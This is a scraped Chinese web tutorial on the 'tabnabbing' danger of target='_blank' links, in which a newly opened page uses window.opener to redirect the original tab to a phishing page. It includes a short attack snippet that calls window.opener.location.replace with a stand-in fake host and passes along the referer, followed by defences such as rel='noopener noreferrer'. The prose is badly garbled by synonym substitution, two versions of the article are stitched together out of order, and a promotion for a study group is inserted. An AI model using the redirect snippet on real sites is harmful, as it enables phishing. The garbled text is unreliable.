>

你知道吗

- 编辑:至尊游戏网站 -

你知道吗

危险的 target=”_blank” 与 “opener”

2018/09/05 · JavaScript · target

初藳出处: 创宇前端   

图片 1

在网页中选取链接时,假如想要让浏览器自动在新的标签页张开钦赐的地方,日常的做法就是在 a 标签上增多 target等于"_blank" 属性。

唯独,正是这些特性,为钓鱼攻击者带来了可乘之隙。

图片 2

起源

前言

parentopener

在说 opener 以前,能够先聊聊 <iframe> 中的 parent

咱俩领略,在 <iframe> 中提供了二个用以父子页面交互的对象,叫做 window.parent,我们得以经过 window.parent 对象来从框架中的页面访谈父级页面包车型地铁 window

opener 与 parent 同样,只然则是用以 <a target="_blank"> 在新标签页展开的页面包车型客车。通过 <a target="_blank"> 展开的页面,能够直接行使 window.opener 来访谈来源页面包车型客车 window 对象。

在网页中行使a链接时,只怕会加多五个轻松的 target="_blank" 属性到 a 标签上来让浏览器用贰个新的标签页来展开一个 U本田CR-VL 地址。然则这如日方升性质正在成为互联网钓鱼者攻击的机会。

同域与跨域

浏览器提供了整机的跨域爱护,在域名一样期,parent 对象和 opener 对象实际就直接是上一级的 window 对象;而当域名分裂的时间,parentopener 则是经过包装的一个 global 对象。这个 global 对象仅提供特轻易的属性访谈,何况在此只有的多少个天性中,大多数也都以不相同意访谈的(访问会平昔抛出 DOMException)。

图片 3

在 <iframe> 中,提供了贰个 sandbox 属性用于调整框架中的页面包车型大巴权柄,因而即就是同域,也足以操纵 <iframe> 的安全性。

 

parent 和 opener

利用

若是,你的网站上有贰个链接,使用了 target="_blank",那么只要客商点击那些链接并走入三个新的标签,新标签中的页面若是存在恶意代码,就能够将你的网址一向导航到三个冒牌网址。此时,倘使顾客回到你的标签页,看见的便是被沟通过的页面了。

在座谈 opener 对象早先,大家先看看 <iframe> 里面包车型大巴 parent 对象。

详细步骤

  1. 在您的网址 https://example.com 上设有多少个链接:
&lt;a href="https://an.evil.site"
target="_blank"&gt;进入一个“邪恶”的网站&lt;/a&gt;

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c60150781393-1">
1
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c60150781393-1" class="crayon-line">
&lt;a href=&quot;https://an.evil.site&quot; target=&quot;_blank&quot;&gt;进入一个“邪恶”的网站&lt;/a&gt;
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 客商点击了那一个链接,在新的标签页张开了那几个网址。那个网址能够透过 HTTP Header 中的 Referer 属性来判断客户的根源。並且,那一个网址上带有着类似于如此的 JavaScript 代码:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-1">
1
</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5b8f6c4939c6a538489517-2">
2
</div>
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-3">
3
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c6a538489517-1" class="crayon-line">
const url = encodeURIComponent('{{header.referer}}');
</div>
<div id="crayon-5b8f6c4939c6a538489517-2" class="crayon-line crayon-striped-line">
window.opener.location.replace('https://a.fake.site/?' + url);
</div>
<div id="crayon-5b8f6c4939c6a538489517-3" class="crayon-line">
 
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 那儿,客户在接二连三浏览这些新的标签页,而原先的网址所在的标签页此时蒸蒸日上度被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F
  2. 恶意网址 https://a.fake.site 依据 Query String 来冒充一个方可诈骗客户的页面,并展现出来(时期仍为能够做贰次跳转,使得浏览器的地点栏更有着吸引性)。
  3. 客户关闭 https://an.evil.site 的标签页,回到原本的网址………………已经回不去了。

上边包车型客车攻击步骤是在跨域的情况下的,在跨域情状下,opener 对象和 parent 同样,是遭到限制的,仅提供丰盛简单的属性访谈,何况在这里仅部分多少个属性中,大部分也都以不容许访谈的(访谈会直接抛出 DOMException)。

但是与 parent 不相同的是,在跨域的图景下,opener 如故可以调用 location.replace 方法parent 则不得以。

如若是在同域的状态下(举例二个网址上的某二个页面被植入了恶意代码),则景况要比下面严重得多。

大家都精晓 <iframe> 提供了三个用于父页面与子页面交互的指标,它就是window.parent。也正是大家得以由此 window.parent 对象去做客父页面包车型地铁window对象。

防御

``<iframe> 中有 sandbox 属性,而链接,则足以采纳下边包车型地铁秘技:

而 opener 是跟 parent 一样的对象,可是它只是用来通过 <a target="_blank"> 来张开的新标签页。你能够因此 window.opener 直接的拜望到新标签页面包车型地铁 window 对象。

1. Referrer Policy 和 noreferrer

地点的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上能够在 HTTP 的响应头中增添 Referrer Policy 头来保险来源隐衷安全。

Referrer Policy 要求修改后端代码来兑现,而在前者,也得以应用 <a> 标签的 rel 属性来钦点 rel="noreferrer" 来保险来源隐衷安全。

<a href="" target="_blank" rel="noreferrer">进入三个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

可是要小心的是:就算限制了 referer 的传递,如故不能够阻止原标签被恶意跳转。

同域和跨域

2. noopener

为了安全,今世浏览器都扶植在 <a> 标签的 rel 属性中钦赐 rel="noopener",那样,在开发的新标签页中,将不也许再利用 opener 对象了,它为设置为了 null

<a href="" target="_blank" rel="noopener">踏向一个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

浏览器原来提供了完全的跨域爱慕机制。当新旧页面域名同样不经常候,事实上 parent 对象和 opener 对象都以父页面包车型客车 window 对象。当域名分化期,parent 和 opener 是包裹过的 global 对象。那么些 global 对象只提供了十分受限制的天性,当中相当多的属性是不允许访问的 (当您点出这么些属性时它会抛贰个 DOMException 的错误)。

3. JavaScript

noopener 属性看似是化解了装有反常态,不过…浏览器的包容性难题…

图片 4

能够见到,今后超越八分之四浏览器都早已分外了 rel="noopener" 属性了。不过,为了保险稍旧的“近代”浏览器或是很旧的“金朝”浏览器依然是“远古”浏览器,唯有 noopener 属性依旧相当相当不够的。

这时候,就不得不请出上边这段原生 JavaScript 来援救了。

"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }

1
2
3
4
5
6
"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

图片 5图片 6

推荐

先是,在网址中的链接上,假如利用了 target="_blank",将要带上 rel="noopener",並且建议带上 rel="noreferrer"。类似于如此:

<a href="" target="_blank" rel="noopener noreferrer">步入二个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

自然,在跳转到第三方网址的时候,为了 SEO 权重,还提出带上 rel="nofollow",所以最后类似于那样:

<a href="" target="_blank" rel="noopener noreferrer nofollow">进入七个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

在 <iframe> 中,提供了叁个 sandbox 属性来支配那么些页面的权位,所以就算是风流洒脱律域名,你也足以经过它来支配 <iframe> 的安全性。

性能

最后,再来说说质量难点。

假如网址使用了 <a target="_blank">,那么新开采的标签页的品质将会影响到方今页面。此时借使新开辟的页面中试行了一个非凡宏大的 JavaScript 脚本,那么原始标签页也会面对震慑,会现身卡顿的景观(当然未必卡死)。

而只要在链接中到场了 noopener,则此时三个标签页将会互不愁,使得原页面包车型客车质量不会受到新页面包车型大巴震慑。

1 赞 收藏 评论

图片 7

恶心攻击

假使您的网址上有三个施用了 target="_blank" 的 a 标签链接,风流倜傥旦顾客点击了那几个链接展开了新的标签页,如若这一个标签页跳转的网址内部存款和储蓄器在的恶意代码,那么您原来页面包车型地铁网址可能会被转到二个假的页面。也正是说,当客户回到原本的页面时,他见到的大概正是生龙活虎度被沟通过的垂钓页面了。

那边还是要引入下我的web前端学习 群 : 687958461,不管您是小白如故大拿,笔者小编都迎接,不定时分享干货,包罗作者本人收拾的一份最新的web前端资料和0基础入门教程,应接初学和晋级中的小同伙。在不忙的光阴笔者会给大家应对。

步骤

  1. 您的网站上有一个 a 标签的链接

Enter an "evil" website

贰个顾客点击了那么些链接在贰个新的标签页展开那个新的网址。那么些网址能够依据顾客跳转新页面的HTTP 乞请中的 header 里的 Referer 字段来显著那么些顾客的来源于。

而那些网址包蕴类似的 JavaScript code:

const url = encodeURIComponent('{{header.referer}}');

window.opener.location.replace('' + url);

  1. 现在,那一个顾客继续浏览合格新开辟的标签页,当那些早先的页面已经加载到 之后。

  2. 本条恶意的网站 能够借助这几个 querystring 部分伪造二个跟原本的页面同样的页面来诈骗客商(其实你也足以在个中间制作另一个跳转,让浏览器的地址栏看起来更令人郁结)

4. 当客户关掉那一个新标签页(, no, 你再也回不到初步极其页面了。

如上的攻击格局,是在跨域的光景中。因为当跳转的页面跨域时,opener 对象与 parent 是同一个。纵然,都以受限制的还要只提供了比比较少的受限的可用属性。並且那大器晚成部分可用的属性里,大多数都不被允许访谈(不然使用时会直接报错 DOMException)。可是在跨域的风貌中,opener 对象不像 parent 对象那么严谨,opener 依然得以调用 location.replace 方法。

即使那是同域场景(比方,那些网址上的三个页面已经被放置了恶意代码),那么这几个地方会变得极度严重。

预防

在 <iframe> 中有贰个 sandbox 属性,所以您能够利用以下的有的主意来防备链接:

  1. Referrer Policy 和 noreferrer

在上述的抨击步骤中,有用到 HTTP header 里的 Referer 属性。事实上,你能够在脚下页面重返的 HTTP Response Headers 中加多Referrer Policy 头来确定保障原来网页能够不受新标签页的打扰。

您需求修改后端代码(译注:可能 nginx 配置)来促成拉长 Referer Policy 头。同一时间在后面一个,你也得以运用 <a> 标签自身帮忙的 rel 属性,通过指明 rel="noreferrer" 来担保原网页不受新标签页的苦恼。

Enter an "evil" website

唯独,必要专心的是那时候你已经限制了 referer 的传递,原网页依然无法阻拦被恶心地重定向。

  1. noopener

居于安全的虚构,今世浏览器帮衬钦定 rel="noopener" 在 <a> 标签上,进而在新开采的竹签页里,opener 对象将不可用,其值直接被设置成了 null。

Enter an "evil" website

  1. JavaScript

而 noopener 属性看起来化解了装有的难题,不过…… 你照旧供给考虑浏览器宽容的动静。

图片 8

如你所见, 超过一半浏览器都早已极度 rel="noopener" 属性了。不过,为了掩护略老一点本子的浏览器以至公元元年在此之前浏览器,只用 noopener 是相当不足的。

所以你不得不参照他事他说加以考察以下的 JavaScript 代码来拍卖:

"use strict";

function openUrl {

var newTab = window.open();

newTab.opener = null;

newTab.location = url;

}

一级忠告

第如日中天,你能够加上 rel="noopener" 到网站的 a 标签上(也推荐应用 rel="noreferrer"), 假设算上 target="_blank",那么看起来大致是那样:

rel="noopener noreferrer">

Enter an "evil" website

自然,当你要跳转到第三方网址的时候,就引入增多 rel="nofollow" 来调动 SEO 权重。这看起来像:

rel="noopener noreferrer nofollow">

Enter an "evil" website

性能

终极,大家来讨论一下质量难题,假使网址采用 <a target="_blank”> 新开采的标签页的品质就能够影响当下展开的页面。在此一点看来,如若在新开的页面里有叁个很肥胖的 JavaScript 脚本要实施,那么原来的页面也会境遇震慑,同期当前页面停滞的场景也说不定出现(也就是那七个页面是在同一个线程上)。

借使 noopener 增加到了链接上,那么那新旧八个页面就不能够相互参加对方了,相当于说原来的页面不会面前碰着新页面的震慑(这四个页面就改成七个线程了)。

本文由技术教程发布,转载请注明来源:你知道吗